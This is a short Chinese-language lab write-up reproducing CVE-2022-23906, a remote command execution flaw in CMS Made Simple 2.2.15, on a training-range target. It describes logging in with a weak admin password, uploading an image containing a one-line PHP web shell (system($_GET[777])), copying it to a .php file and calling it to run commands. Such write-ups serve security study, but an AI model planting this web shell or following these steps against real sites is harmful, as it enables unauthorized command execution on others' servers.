漏洞简介：
CMS Made Simple v2.2.15 被发现包含通过上传图片功能的远程命令执行 (RCE) 漏洞。此漏洞通过精心制作的图像文件被利用。
漏洞环境：
春秋云镜中的漏洞靶标，CVE编号为CVE-2022-23906
漏洞复现
后台/admin弱口令登录 admin/123456
文件管理这里可以上传文件
先上传一个php文件发现无法上传
发现可以更改文件名
修改文件名后缀为php失败
图片马可以上传，但是没法利用
<?php
system($_GET[777]);phpinfo();
?>
再试试copy复制文件
复制图片马，修改后缀为.php
直接访问/uploads/yjh.php去执行命令
